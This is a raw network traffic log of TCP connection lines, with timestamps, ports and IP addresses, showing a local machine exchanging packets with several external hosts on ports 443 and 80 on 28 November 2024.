Nov 28, 2024 17:24:16.187494040 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.187516928 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.187581062 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.187762976 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.187777996 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.187956095 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.187994957 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.188076019 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.188088894 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.188229084 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.188242912 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.188514948 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.188539982 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.691426992 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:16.691462994 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:16.977543116 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:16.977663040 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.363603115 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.465650082 CET	443	49703	173.222.162.64	192.168.2.6
Nov 28, 2024 17:24:17.465766907 CET	49703	443	192.168.2.6	173.222.162.64
Nov 28, 2024 17:24:17.483663082 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.815622091 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.815644026 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.815712929 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.815768957 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.817950964 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.818067074 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.818073034 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.818114996 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.826733112 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.826827049 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.826872110 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.826885939 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.835480928 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.835551023 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.835571051 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.835709095 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.844361067 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.844412088 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.844449043 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.844492912 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.853065014 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.853121042 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.914721012 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:17.915735006 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:17.915750980 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:17.916393995 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:17.916398048 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:17.923291922 CET	49726	443	192.168.2.6	2.16.158.75
Nov 28, 2024 17:24:17.923331022 CET	443	49726	2.16.158.75	192.168.2.6
Nov 28, 2024 17:24:17.923407078 CET	49726	443	192.168.2.6	2.16.158.75
Nov 28, 2024 17:24:17.929233074 CET	49726	443	192.168.2.6	2.16.158.75
Nov 28, 2024 17:24:17.929246902 CET	443	49726	2.16.158.75	192.168.2.6
Nov 28, 2024 17:24:17.947041035 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.947226048 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.947251081 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.947268963 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.951134920 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.951203108 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.952189922 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.952235937 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.953150988 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.953201056 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.961306095 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.961407900 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.961440086 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.961551905 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.970123053 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.970207930 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.970284939 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.970329046 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.978580952 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:17.978914976 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.978972912 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.979052067 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:17.979093075 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:17.979598999 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:17.979621887 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:17.980395079 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:17.980401039 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:17.992156029 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:17.992189884 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:17.992295027 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:17.995157003 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:17.995165110 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:17.995275974 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:17.995290041 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:17.995311022 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:17.996392965 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:17.996418953 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:17.996577978 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:17.997637987 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:17.997648001 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:18.000024080 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:18.000039101 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:18.017040968 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.017071009 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.017151117 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.021414042 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.021467924 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.022821903 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.022880077 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.022934914 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.022973061 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.031332970 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.031402111 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.031439066 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.031542063 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.040071011 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.040139914 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.040165901 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.040188074 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.040218115 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.040430069 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.040852070 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.040915012 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.041131020 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.041150093 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.041409016 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.041421890 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.041611910 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.041624069 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.046361923 CET	49730	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:18.046403885 CET	443	49730	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:18.046550989 CET	49730	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:18.046899080 CET	49730	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:18.046911001 CET	443	49730	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:18.048810005 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.048850060 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.048867941 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.048885107 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.057590008 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.057627916 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.057641029 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.057662964 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.066333055 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.066382885 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.068845987 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:18.068861961 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:18.068960905 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:18.069971085 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:18.069983959 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:18.077394009 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.077478886 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.077512026 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.077526093 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.081780910 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.081861973 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.082643986 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.082694054 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.082751989 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.082813978 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.091428995 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.091500044 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.091523886 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.091562986 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.100337029 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.100411892 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.153795004 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.153836966 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.153872967 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.153915882 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.157390118 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.157452106 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.157473087 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.157529116 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.163127899 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.163172007 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.163197041 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.163220882 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.170536041 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.170592070 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.170660019 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.170700073 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.177808046 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.177867889 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.177894115 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.177949905 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.184848070 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.184910059 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.184969902 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.185009003 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.191553116 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.191658974 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.191704035 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.191745043 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.197968006 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.198028088 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.198048115 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.198062897 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.204102993 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.204154968 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.204160929 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.204191923 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.210187912 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.210235119 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.210303068 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.210345030 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.216293097 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.216340065 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.217359066 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.217420101 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.217482090 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.217580080 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.219566107 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.219621897 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.219692945 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.219734907 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.223323107 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.223355055 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.223398924 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.223414898 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.226100922 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.226157904 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.226205111 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.226326942 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.229897976 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.229954004 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.229984999 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.230094910 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.234169960 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.234230995 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.234273911 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.234375954 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.237735987 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.237756014 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.237787962 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.237802029 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.241095066 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.241175890 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.241219997 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.241257906 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.244697094 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.244748116 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.244872093 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.244966984 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.248260975 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.248303890 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.248389959 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.248436928 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.253251076 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.253268957 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.253320932 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.255698919 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.255747080 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.255820036 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.255865097 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.259466887 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.259531021 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.357918024 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.357999086 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.358326912 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.358422041 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.358439922 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.358462095 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.358469963 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.362998009 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.363100052 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.363228083 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.363487005 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.363524914 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.401184082 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.401200056 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.401247025 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.401282072 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.402904034 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.402970076 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.403574944 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.403644085 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.403719902 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.403762102 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.407257080 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.407298088 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.407365084 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.407407045 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.411201000 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.411252022 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.411304951 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.411434889 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.413768053 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.413829088 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.413878918 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.416420937 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.416434050 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.416484118 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.419092894 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.419106007 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.419147015 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.421627045 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.421684027 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.421714067 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.421725988 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.424253941 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.424403906 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.424431086 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.424443007 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.426882029 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.426922083 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.427021027 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.427066088 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.429569960 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.429621935 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.429693937 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.429735899 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.432255983 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.432267904 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.432301998 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.432317019 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.433105946 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.433176994 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.433237076 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.433511019 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.433525085 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.434820890 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.434879065 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.434942961 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.434983015 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.437123060 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.437163115 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.437262058 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.437437057 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.437449932 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.437572002 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.437630892 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.437637091 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.437669992 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.440179110 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.440234900 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.440335035 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.440382957 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.442801952 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.442846060 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.442970037 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.443010092 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.445426941 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.445503950 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.445547104 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.445616961 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.448081970 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.448141098 CET	49716	80	192.168.2.6	185.215.113.206
